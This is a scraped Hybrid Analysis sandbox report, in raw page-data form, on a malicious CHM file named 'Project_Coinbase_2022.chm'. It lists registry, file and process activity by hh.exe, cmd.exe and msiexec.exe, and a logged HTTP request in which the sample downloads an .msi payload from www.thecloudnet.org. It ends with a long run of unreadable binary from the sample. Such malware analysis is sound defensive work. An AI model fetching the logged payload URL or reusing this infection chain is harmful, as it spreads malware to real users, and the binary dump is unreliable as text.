24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 33:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T42a,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample fc07a2468faf… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample fc07a2468faf…. Threat score 100/100. 0/0 AV engines flagged this file. 6 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca"],"about":{"@type":"SoftwareApplication","name":"Project_Coinbase_2022.chm","applicationCategory":["text","mshelp"],"identifier":"fc07a2468fafc762e106dd33fd0734a05118eb96d66fcc7ed358669e888d53ca","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":0},"behavioralIndicators":{"malicious":6,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4b7,"hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "hh.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "timeout.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")26:T489,"hh.exe" queries volume information of "C:\Windows\Fonts\symbol.ttf" at 00000000-00003864-00000046-5469356 "hh.exe" queries volume information of "C:\Windows\Fonts\symbol.ttf" at 00000000-00003864-00000046-5497937 "hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00003864-00000046-14175085 "hh.exe" queries volume information of "C:\Windows\Fonts\timesbd.ttf" at 00000000-00003864-00000046-14212729 "hh.exe" queries volume information of "C:\Windows\Fonts\arialbd.ttf" at 00000000-00003864-00000046-14232374 "hh.exe" queries volume information of "C:\Windows\Fonts\times.ttf" at 00000000-00003864-00000046-14249684 "hh.exe" queries volume information of "C:\Windows\Fonts\arial.ttf" at 00000000-00003864-00000046-14880584 "hh.exe" queries volume information of "C:\Windows\Fonts\msgothic.ttc" at 00000000-00003864-00000046-16820958 "hh.exe" queries volume information of "C:\Windows\Fonts\msgothic.ttc" at 00000000-00003864-00000046-17038534 "msiexec.exe" queries volume information of "C:\" at 00000000-00003932-00000046-11067159 "msiexec.exe" queries volume information of "C:\" at 00000000-00001876-00000046-890402027:T7a7,"msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "")28:T559,"msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "msiexec.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "msiexec.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES\1916A2AF346D399F50313C393200F14140456616"; Key: "BLOB")29:T59f,"hh.exe" called "CreateDirectoryW" with parameter C:\ProgramData (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryA" (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryA" with parameter C:\ProgramData\Microsoft\HTML Help (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\HAPUBWS (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Local (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Local\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Roaming (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Roaming\Microsoft\Windows\Cookies (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Local\Microsoft\Windows\History (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryW" with parameter C:\Users\nzuhgSG\AppData\Local\Microsoft\Windows\Caches (UID: 00000000-00003864) "hh.exe" called "CreateDirectoryA" with parameter C:\Users\nzuhgSG\AppData\Roaming\Microsoft\HTML Help (UID: 00000000-00003864) "msiexec.exe" called "CreateDirectoryW" with parameter C:\Windows (UID: 00000000-00001876) "msiexec.exe" called "CreateDirectoryW" with parameter C:\Windows\Fonts (UID: 00000000-00001876)2a:T97b,"hh.exe" touched "HHCtrl Object" (Path: "HKCU\CLSID\{52A2AAAE-085D-4187-97EA-8C30DB990436}\INPROCSERVER32") "hh.exe" touched "Microsoft InfoTech IStorage System" (Path: "HKCU\CLSID\{5D02926A-212E-11D0-9DF9-00A0C922E6EC}") "hh.exe" touched "Microsoft Web Browser" (Path: "HKCU\CLSID\{8856F961-340A-11D0-A96B-00C04FD705A2}") "hh.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "hh.exe" touched "Microsoft InfoTech Protocols for IE 4.0" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{9D148291-B9C8-11D0-A4CC-0000F80149F6}\TREATAS") "hh.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "hh.exe" touched "Computer" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "hh.exe" touched "HTML Document" (Path: "HKCU\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\INPROCSERVER32") "hh.exe" touched "Microsoft HTML About Pluggable Protocol" (Path: "HKCU\CLSID\{3050F406-98B5-11CF-BB82-00AA00BDCE0B}\TREATAS") "hh.exe" touched "Browser Application State" (Path: "HKCU\CLSID\{E569BDE7-A8DC-47F3-893F-FD2B31B3EEFD}\INPROCSERVER32") "hh.exe" touched "CActiveIMMAppEx_Trident" (Path: "HKCU\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\TREATAS") "hh.exe" touched "PeerDraw Class" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{10072CEC-8CC1-11D1-986E-00A0C955B42E}\TREATAS") "hh.exe" touched "JScript Language" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{16D51579-A30B-4C8B-A276-0FF4DC41E755}\TREATAS") "hh.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "hh.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "hh.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "hh.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "hh.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "hh.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "hh.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER")2b:T7a3,"77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001876] "hh.dat" has type "MS Windows HtmlHelp Data"- Location: [%APPDATA%\Microsoft\HTML Help\hh.dat]- [targetUID: 00000000-00003864] "Tar3EB2.tmp" has type "data"- Location: [%TEMP%\Tar3EB2.tmp]- [targetUID: 00000000-00001876] "MSI649C.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\Installer\MSI649C.tmp]- [targetUID: 00000000-00001876] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001876] "Cab3EA1.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 62932 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab3EA1.tmp]- [targetUID: 00000000-00001876] "IMTC94.tmp" has type "data"- Location: [%TEMP%\IMTC94.tmp]- [targetUID: 00000000-00003864] "MSI645C.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%WINDIR%\Installer\MSI645C.tmp]- [targetUID: 00000000-00001876] "IMTCB29.tmp" has type "MySQL table definition file Version 0 type UNKNOWN"- Location: [%TEMP%\IMTCB29.tmp]- [targetUID: 00000000-00003864] "MSI53F0.tmp" has type "Composite Document File V2 Document Little Endian Os: Windows Version 10.0 MSI Installer Last Printed: Fri Dec 11 11:47:44 2009 Create Time/Date: Fri Dec 11 11:47:44 2009 Last Saved Time/Date: Fri Sep 18 14:06:51 2020 Security: 0 Code page: 1252 Revision Number: {8E045BB9-2F2E-45E9-90D5-8CFA918F63FD} Number of Words: 10 Template: ;1033 Number of Pages: 200"- Location: [%WINDIR%\Installer\MSI53F0.tmp]- [targetUID: 00000000-00001876]2c:T51c,"hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "hh.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files" "hh.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "hh.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "cmd.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "msiexec.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "msiexec.exe" touched file "C:\Windows\AppPatch\msimain.sdb" "msiexec.exe" touched file "C:\Windows\system32\ar-SA\sxs.DLL.mui" "msiexec.exe" touched file "C:\Windows\system32\bg-BG\sxs.DLL.mui" "msiexec.exe" touched file "C:\Windows\system32\cs-CZ\sxs.DLL.mui" "msiexec.exe" touched file "C:\Windows\system32\da-DK\sxs.DLL.mui"2d:T1438d,"GET /0JxcQbSTzhLdeGWXHCzuH4V03wVmc9zcXJJaJRalcTM=.msi HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Windows Installer Host: www.thecloudnet.org" "$CEEEEE8EE E@ErCEzEkE\E8ME>E /E@ ECEEE8EE E@E}CEE8vEgE XE@IE:CE8!EE E@ECEE E@E~CE E@wEhJCE@REC%CE-3C=EE 4=Ph@oUjhUdP3EVWPEdujE3jEMEhVEEfE!EEPEMME3jEMEh@E VuP:yj$hV|EPPPPhEBH RPEBH RPEBH RPEBH RPPPhyrjQ,3@fff}tCt\XDCD@,C,(CpEC\xECPCCuxWV4jjQhPjhjtEh jVupCPjVuNjVu;Vh2|EVSufEtVCUt|u9h@PPPPh&EhEBH RPEBH RPE"EtE"E|E"UrN RPE!tE \EDE EwEhEYEJEt939~38(F;|PnEEtMd Y_^M33]jhkeh@AeUjh dPD3EVWPEd}Mj3EEhPTEEfEEEP EMj3EEMhdTEEfEEEP8lEMj3EEMhtTEEfE,EEPxEMXWE=u CE tPPhHWVt=Ou*hUVu3Ijt C-EtPPEEEEfEEEPNEEEEfEE EP:EEEEfEEEP}EQCEdWtPdY QW`h VPP4 3fd;P|3EEEEfEEUQEzJruE+;w5}GM~ Pc_>u~~vMM_uuWjjV3hEFHVRMd Y_^[]_SVF^WtP\Fx~pN^FSh?jP6Tt_^2[t$x~p^P3l_^[SVF^WtP\Fx~pNC^FSh?jP6TuMt$D$x~p ^t$L$QVL$QjP3Xu9v_^[_^2[Ujh]dPSVW3PEdF^]tP\Fx~pN~]FSh?jP6Tt2Md Y_^[]EHpEP~F|;u,~j7NNBRuP^FEEMjhWS=XEPjEEPju3tEEEE3uQjEMuQPEPEju0}EWjWpu;~Wu3~f~k]EEMP8EFHVP}EEuEEEEXKPREMd Y_^[]\h@JhWJUjhdPQSVW3PEdE3EIHxE;p|oPG|;u,wj6OOBRu5\EOEEMd Y_^[]t"PtuuqjVtpURt_}xB;p=p3VSfp[EEMd Y_^[]hWIZh@IUjhdPSVW3PEdME3EIHEXx;|oPG|;u wj6OOBRuZEOEEMd Y_^[]t*PtE+XuuyjVtxTR+EXt_}xB;p=p3VSfp0ZEEMd Y_^[]hWH:Yh@HUjhMdPQ3PEdd h@;~|h@=@ufE_EEuStNPE3fEh Eh@HMd Y]h@'GUjhdPSVW3PEd]ERREESMtQM`jQ|Md Y_^[]EtPh}EF=} =P6WAFEEPWjjjuu/EtPEjP|uIjVX];s3sVWfsAOEEMPECHSPMt@uEtjP|3EWpEMd Y_^[] Md Y_^[]jht6<&Yff^aaAUQQEVE", "08" gp"Lg"g"g "giP"h"@h"xh0;FQ\gr} ( 3> )I/T/_/ / /j/u// @@@/ HHH@/ H@/ HHH@/ H@/ HHH@/ H%@/ H0H;HF@/ HQ@/ H}HH@/ H@/ H@/ H@/ @/ @/ HH&H@/ 1CHY@/ HN@/ @/ HdHoH@/ zH@/ H@/ HH\HgHr@/ $6HAHL"WHW$b@/ $m$x$@/ ...$@/ 888.$@/ CC8.$@/ CC8.$@/ CC8.$@/ Crst>u`vkvvvvss|||||8.$@/ |8.$"@-/8CN Ydo"lu"u# + : B QYa"`v!)19"wpx"Hw"|w"w08"wp"x"xx (3>IT\d"x"=y"- 8CN Ydoz *!5 @#K V%a l'w ) ++-+++1++)+45?+J+U+`+k:+"'({'2= H S^itt ttt !"$","7"E"| "H}PX``hpx "\~XP"~"~"08"8p{"" (08@HP"4"p" ,6>"pz"0"08@"p""H0`h@-$@8H@X@xc @"C U@",8@ 5 ", ";<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~MZ@!L!This program cannot be run in DOS mode. $j/]_"! I OY@@x0Bp@x@.text_ `.rdata@@.datal@.rsrc0@@.relocBD@Bhhjhh-2Yh#2Yj(h72YT(hK2YhA~2Y ,hUh2YUjhpdPQ$3PEdMEBH RPMd Y]UjhqdPT$3EVWPEdU}u}EEEEE~ErMQhzPRx=u4EM@EQPME1~r6EPuVuxuKUEEEEqfEffu+QRM7ME13EEEEfEMEE3GG~AfGAAfEEtME%EEtMEEMMd Y_^M3*]SVL$WV+;sK_F^[v;F+;vt$Q_^[+t|$DffuV_^[;Ujh@qdPSVW$3PEd7th_;t%;u7O*+@=rF+w3tVGGMd Y_^[].jUjhmqdPQ$3PEdMEBH RPMd Y]UjhqdPQVW$3PEdU3EuFFfA;rB+ByrQWQUEEMd Y_^]UVL$nV;w~r63 fN^]SW~++;w9 r6P-:3fo_^][f{^QQUl$Vq+L$;w*ASWrL$i;vS;w;w3 +UPkSPA4?Vt$,S9L$4+P/APP9D$4$_[^]YUt$D$ Qt$$U^]YUjhrdPSVW$3PEdeUK+MK++;v,}"Pj@p#FU><;B}rA#};tWj@EU3uME+RjP7K+QPVD@Et&C+=rQ+AwOtQ3EC>CMd Y_^[]uu/jj4A< Q\UjhrdP$SVW$3PEdeu}AN+MN++; M;s]]=r*H#;Qj@x#GMtPj@M3}EGE+MUUutEffUIMUN+QPW>Et)F+=rQ+AwEGF_FMd Y_^[]ZuuMjj2UjhrdPV$3PEduEuuEE;t>F3F~AfFAAfu;uuEMd Y^]QT$SVs+t$;1D$UkW;v4+;v;BF==r'H#;Qj@x#Gt Pj@3D$CD$(st$Pt$(8L$ 4uWrT34L$MPVt$,4m=rN+FwBt&V;_]^[Y]4VSt$,R4;_]^[YiXUjh sdPVW$3PEdy1;t;uMd Y_^]|$D$rH+wtP XD$Wt< V7f;r+f;w!ttH f;s^_^3_^_3_L$tD$W|$f_D$UjhqdPV$3PEdzFtPFEtVMd Y^]VFtPF^UjhqdPV$3PEdzFtPFMd Y^]Ujh@sdP$3PEdtPMd Y]hz(UjhusdPQ$3PEdMWfAAzE$EXEMd Y]UjhsdPQ$3PEdMEAP+Md Y]UjhsdPQ$3PEdMEAP;+Md Y]Ujh%tdPQV$3PEduEFP*EtVMd Y^]UjhetdPQV$3PEduFWPfEP*E$EXEMd Y^]Ujh@sdP$3PEdAP*Md Y]UjhtdPQV$3PEduEFP)EtVMd Y^]UjhtdPQV$3PEduFWPfEP(E$EMd Y^]UjhqdPV$3PEdFP(EtVMd Y^]IzEUjhqdPV$3PEdFWPfEP'Md Y^]$hwD$P(*D$SUVWo;w,r4GVt$SE53f_^][=v:+;v);BF==r'H#;Qj@X#Ct Pj@3D$wG4Vt$S,3fr*m=rQ+Aw"tQ_^][PD$L$=rQ+AwtQPUjhqdPV$3PEdFr*E=rJ+Bw0tR3FFfMd Y^]OkUjhtdPQSVW$3PEduE3^~#D;~tPG;|tPDPFFFtP PF=FFF tPFtPEFtPOFFFEtPOFFMd Y_^[]jhSUkl$jh'udPSPVW$3PEd}3E0 h@{EEEEEEEG(EE8{uuEuEE8{XG$2h {Vu,EVE8{EXG$2^MQh{EuE8{EuXG$2EEEEEMhEEMhuE}PEEPVEPWuj(XztW==uME[tVuMEBuE}PEPVEPWuj(XMA$EtW==EEtAVE2MA$EtWEEtVE2EtWEEt=VUEUPEHwO$4EFE=E4E+E"EEEEuUEuN~;uOE;ru;uuMd Y_^[]UjhqdPV$3PEd8{FtPFEtVMd Y^]UjhqdPV$3PEdtPGFFMd Y^]D$t$L$h xPjjt$t$UjhqdPV$3PEdtPMd Y^]Ujh@sdP$3PEdQMd Y]U$jhudP$3VPEduhEujPEEPjjj#j3FMFfQffu+EQPaEEMd Y^3]UjhudPQ$3PEdME~Md Y]Ujh vdPQ$3PEdME.Md Y]UjhqdPV$3PEdt:F+=rJ+Bw1tRFFMd Y^]DUjh0vdPSVW$3PEde;U+*EK+*E= &pK+* +; ;C }=r'H#;Qj@p#Ft Pj@3}uE@EHMMEu\EESM;uSV1VQPBuusu/EWE@PVEMd Y_^[]^YnBuuIuujjwSVs+t$+FD$Ukl$W;v4+;v;BF==r'H#;Qj@x#Gt Pj@3l$D$|$CsUrV3VWfD$4f/3fD/D$E=rN+FwMt/V;_]^[SWfD$4f/3fD/;_]^[@Ujh@sdP$3PEdujq(Md Y]Ujh@sdP$3PEdEtPjq$Md Y]Ujh@sdP$3PEdUuuMd Y]EuRP3Md Y]PRjq Md Y]Ujh@sdP$3PEdujqMd Y]UjhqdPV$3PEd~8tFtPEtVMd Y^]T$VWxW+|KBr;@d$w6rw/w*OPRt8N_@H@^_3^I`T$VxK+|?Br;4d$w*rw#wIPRt$Pt NH^3^AAUjhqdPV$3PEdEttVMd Y^]UjhmvdPV$3PEdd, 4\;~Wh\V=\uAE,h 8Eh\`;~~h`=`uhE3hPdLhxpt|ldmEh`7dMd Y^]U$EEEEMPK}u3EEPWj(ETP$upvEEPhpjExupNjjjEPjuup0jwV??uw,Ww$OwwOEth NwjWexGtPEEEEtPEEMd Y_^M3p]Ul$tjhdP$3EpSVWPEd]|S]XE5u=CSMEEEEtPEEPhW=OhWu}3=EEtPEhzh\uEM_EXtPMd Y_^[Mp3{oet]jut C{EE=fEtPEEPu EEEEM3P"Fu Eh3ElEhElfEXQffu+QVMX4]EEXPMtEMX^tE V$EEEEMP}EEEEE]MP/;uQ3f93t @Ff8u3Qj@Euf8tf9ujEEEEMPD]EEEEMPDj UEe+EEE 3fyIRuu3f9t@Af8uhj@4uEhVPEuVutuaEtVEEEuEEEEtPEEEEPEEE3fx@Ruu3f9tD@Af8u43Qj@uEhVPuEEE3fx@Ruu3f9t@Af8u4J3Qj@uEPPhVQM EEE L3fx@Ruu3f9t@Af8u4J3Qj@EEPPhLVuuV uutunEtVEEEEtPEEE EtPEEEEPuutu{Vutudjuu?8EEEEMVP9AptEpMVPA\uuEEtuP6uU3f93t@Ff8u3Qj@Euf8tf9ujux|ExMPY@hEEEE|P6uW3f93t @Ff8u3Qj@Euf8tfDf9ujEEEEMP?EEEEMPz?5hlE3UMf9 t @Af8uMU3\f9 t@Af8u\U3`f9 t@Af8u`U3df9 t@Af8udM3f9tf@Cf8uM3f9t @Bf8uz3ffx@IuI34Bd`\uQj@hlf;tDf9uUj=f;tff9ujzf;tf9uUjf;tff9ujzf;tf9uUjf;tff9ujzf;tf9uUj}f;tff9ujz[f;tf9uUj=f;tff9ujzf;tf9uUjEP3ETM@EPETjhdfE@TEE@PE(PMEM@iU}ft @Bf8uQ;sft+ffu3frRZQSUL$V3+WuGu_It7}j]EuEzVjSuaE3PhzSu}}}|=uNftf1Rfu3f33t-3f93t IFf9uS_^][ ]3[ UVSWftUf;tFfu_[^3]tt3f9t @Af8u;w!3t+ff;uB;r;tFft_[^]^]UjhdPQSVW$3PEd}GE3]Gf93t @Ff8uF3wQj@G7f8tf8ujEMd Y_^[]UjhdPSVW$3PEdEEE3wuQj@]uf;tf9uWj-EGtPE3G@HGwQj@G7f8tDf8ujOf9tf9uEjPEtSEEMd Y_^[]UjhMdPQV$3PEduEFtPFMd Y^]UjhdP$SVW$3PEd]uMEOEEEEE3wuQj@Euf8tfDf8uWj[EMuCE3wsQj@C3f8tf8uWjEEEE5tPEEEEtPEEMd Y_^[]UjhdPSVW$3PEd]EEEE3wuQj@Euf8tf8uWjEMu6CE3wsQj@C3f8tf8uWjEEEEtPEEMd Y_^[]SUV3L$3-WT$f94Yt[tE~;}RfYf0fBFAL$;L;}CL$fjVu+ujVuujVuVuux3EtVEEtP3EEtPMd Y_^[3;]UjhdPSVW$3PEduQ]Eu3H3@Af8u3f9t @Bf8u}3f97tD@Ff8uE3f9;]t@Gf8u73Qj@E}EuuuhHW4uVWSu!P6uu6up3EtWEEEtSMd Y_^[]UjhMdPSVW$3PEdUM3@Ff8u3f9 t @Af8u]3f9tf@Bf8u 3Qj@E}ESuhW4uVWuuP6up3EtWEEMd Y_^[]UjhdPSVW$3PEdEE", "EEtPEWEEtPEWEEtPEWkEEtPEWOEEtPE6ut"StSt3EEtPEEtPEtSMd Y_^[3]$3$SUVWj$hPjD$$D$ 